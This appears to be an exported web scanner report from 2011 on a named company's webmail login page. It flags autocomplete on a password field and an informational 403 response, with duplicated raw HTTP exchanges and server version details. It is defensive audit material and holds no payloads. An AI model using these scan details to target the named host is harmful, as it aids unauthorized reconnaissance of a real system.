"Auto Complete" was enabled in one or more of the form fields. These were either "password" fields or important fields such as "Credit Card".
Impact
Data entered in these fields will be cached by the browser. An attacker who can access the victim's browser could steal this information. This is especially important if the application is commonly used in shared computers such as cyber cafes or airport terminals.Remedy
Add the attribute
autocomplete="off" to the form tag or to individual "input" fields.Actions to Take
- See the remedy for the solution.
- Find all instances of inputs which store private data and disable autocomplete. Fields which contain data such as "Credit Card" or "CCV" type data should not be cached. You can allow the application to cache usernames and remember passwords, however, in most cases this is not recommended.
- Re-scan the application after addressing the identified issues to ensure that all of the fixes have been applied properly.
Required Skills for Successful Exploitation
Dumping all data from a browser can be fairly easy and there exist a number of automated tools to undertake this. Where the attacker cannot dump the data, he/she could still browse the recently visited websites and activate the auto-complete feature to see previously entered values.
External References
|
- /
/ CONFIRMED |
Identified Field Name
password
Request
GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: npcinternational.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: npcinternational.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Response
HTTP/1.1 200 OK
Date: Tue, 19 Apr 2011 20:20:41 GMT
Server: Mirapoint
Content-Length: 3246
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
<html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta http-equiv="Expires" content="Tue, 04 Dec 1993 21:29:02 GMT"> <meta http-equiv="Pragma" content="no-cache"> <LINK REL=STYLESHEET TYPE='text/css' HREF='/extras/css/style.css'><LINK REL='SHORTCUT ICON' href='/wmi/Mira_bookmark.ico'> <title>Webmail Direct</title><script language="JavaScript"><!--var isNav4 = false;var isIE4 = false;if (parseInt(navigator.appVersion.charAt(0)) >= 4) { isNav4 = (navigator.appName == "Netscape") ? true : false; isIE4 = (navigator.appName.indexOf("Microsoft") != -1) ? true : false;}function checkWhich(evt) { var theKey; if (isNav4) { if (evt.which == 13) { document.loginform.login.click(); } } else if (isIE4) { if (window.event.keyCode == 13) { window.event.returnValue = false; document.loginform.login.click(); } }}function verifyBrowser() { document.loginform.browserjs.value = "true"; if (isIE4 && navigator.appVersion.indexOf("Macintosh") == -1) document.loginform.usingIE.value = "true"; return true;}function myfunction(evt) { if (evt.which == 13) { return false; } document.routeEvent(evt); return true;}if (isNav4) { document.captureEvents(Event.KEYUP); document.onkeyup = myfunction;} // --></script></head><body class="genLogin" onload="document.forms[0].elements[0].focus()"><center><table border=0 cellpadding=8 cellspacing=0> <tr> <td valign=bottom align=right colspan=2> <font size="+2" class="genLoginTitle"><B>Webmail Direct</B></font> </td> </tr> <tr> <td valign="top"><img src="/images/NPCcolorNew.gif?brandname=system" width=276 height=162></td> <td align=right> <form method="POST" action="/wm/mail/login.html" enctype="application/x-www-form-urlencoded" name="loginform" onSubmit="verifyBrowser();"> <br> <br> <table border=0 cellspacing=0> <tr> <td align=right nowrap>User:</td> <td align=left><input type="text" name="user" value="" size=20 onkeypress="checkWhich(event)"></td> </tr> <tr> <td align=right nowrap>Password:</td> <td align=left><input type="password" name="password" value="" size=20 onkeypress="checkWhich(event)"></td> </tr> <tr> <td> </td> <td align=right><input type="submit" name="login" value="Login" class="genBtn"></td> </tr> </table> <input type="hidden" name="timestamp" value="51170138"> <input type="hidden" name="locale" value=""> <input type="hidden" name="usingIE" value="false"> <input type='hidden' name="browserjs" value="false"> </form> </td> </tr> <tr> <td align=right colspan=2><font size=-1> </font></td> </tr> <tr> <td colspan=2> <table> <tr> <td align=center> <a name='/wm?locale=en_US.ISO_8859-1&user='> <nobr>English</nobr></a> - <a href='/wm?locale=ja_JP.utf-8&user='> <nobr>Japanese</nobr></a> </td> </tr> </table> </td> </tr> <tr> <td align=right colspan=2> <img src="/wmi/poweredby.gif?brandname=system" border=0><BR> </td> </tr></table></center></body></html>
Date: Tue, 19 Apr 2011 20:20:41 GMT
Server: Mirapoint
Content-Length: 3246
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
<html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta http-equiv="Expires" content="Tue, 04 Dec 1993 21:29:02 GMT"> <meta http-equiv="Pragma" content="no-cache"> <LINK REL=STYLESHEET TYPE='text/css' HREF='/extras/css/style.css'><LINK REL='SHORTCUT ICON' href='/wmi/Mira_bookmark.ico'> <title>Webmail Direct</title><script language="JavaScript"><!--var isNav4 = false;var isIE4 = false;if (parseInt(navigator.appVersion.charAt(0)) >= 4) { isNav4 = (navigator.appName == "Netscape") ? true : false; isIE4 = (navigator.appName.indexOf("Microsoft") != -1) ? true : false;}function checkWhich(evt) { var theKey; if (isNav4) { if (evt.which == 13) { document.loginform.login.click(); } } else if (isIE4) { if (window.event.keyCode == 13) { window.event.returnValue = false; document.loginform.login.click(); } }}function verifyBrowser() { document.loginform.browserjs.value = "true"; if (isIE4 && navigator.appVersion.indexOf("Macintosh") == -1) document.loginform.usingIE.value = "true"; return true;}function myfunction(evt) { if (evt.which == 13) { return false; } document.routeEvent(evt); return true;}if (isNav4) { document.captureEvents(Event.KEYUP); document.onkeyup = myfunction;} // --></script></head><body class="genLogin" onload="document.forms[0].elements[0].focus()"><center><table border=0 cellpadding=8 cellspacing=0> <tr> <td valign=bottom align=right colspan=2> <font size="+2" class="genLoginTitle"><B>Webmail Direct</B></font> </td> </tr> <tr> <td valign="top"><img src="/images/NPCcolorNew.gif?brandname=system" width=276 height=162></td> <td align=right> <form method="POST" action="/wm/mail/login.html" enctype="application/x-www-form-urlencoded" name="loginform" onSubmit="verifyBrowser();"> <br> <br> <table border=0 cellspacing=0> <tr> <td align=right nowrap>User:</td> <td align=left><input type="text" name="user" value="" size=20 onkeypress="checkWhich(event)"></td> </tr> <tr> <td align=right nowrap>Password:</td> <td align=left><input type="password" name="password" value="" size=20 onkeypress="checkWhich(event)"></td> </tr> <tr> <td> </td> <td align=right><input type="submit" name="login" value="Login" class="genBtn"></td> </tr> </table> <input type="hidden" name="timestamp" value="51170138"> <input type="hidden" name="locale" value=""> <input type="hidden" name="usingIE" value="false"> <input type='hidden' name="browserjs" value="false"> </form> </td> </tr> <tr> <td align=right colspan=2><font size=-1> </font></td> </tr> <tr> <td colspan=2> <table> <tr> <td align=center> <a name='/wm?locale=en_US.ISO_8859-1&user='> <nobr>English</nobr></a> - <a href='/wm?locale=ja_JP.utf-8&user='> <nobr>Japanese</nobr></a> </td> </tr> </table> </td> </tr> <tr> <td align=right colspan=2> <img src="/wmi/poweredby.gif?brandname=system" border=0><BR> </td> </tr></table></center></body></html>
Forbidden Resource
Forbidden Resource
1
TOTAL
INFORMATION
CONFIRMED
1
Access to this resource has been denied by the web server. This is generally not a security issue, and is reported here for information purposes.
Impact
There is no impact resulting from this issue.
|
- /images/
/images/ CONFIRMED |
Request
GET /images/ HTTP/1.1
Referer: http://npcinternational.com/images/NPCcolorNew.gif?brandname=system
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: npcinternational.com
Accept-Encoding: gzip, deflate
Referer: http://npcinternational.com/images/NPCcolorNew.gif?brandname=system
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: npcinternational.com
Accept-Encoding: gzip, deflate
Response
HTTP/1.1 403 Forbidden
Date: Tue, 19 Apr 2011 20:20:42 GMT
Server: Mirapoint/3.10.5-GA
Transfer-Encoding: chunked
Content-Type: text/html
<HTML><HEAD><TITLE>403 Forbidden</TITLE></HEAD><BODY><H1>Forbidden</H1>You don't have permission to access /images/on this server.<P></BODY></HTML>
Date: Tue, 19 Apr 2011 20:20:42 GMT
Server: Mirapoint/3.10.5-GA
Transfer-Encoding: chunked
Content-Type: text/html
<HTML><HEAD><TITLE>403 Forbidden</TITLE></HEAD><BODY><H1>Forbidden</H1>You don't have permission to access /images/on this server.<P></BODY></HTML>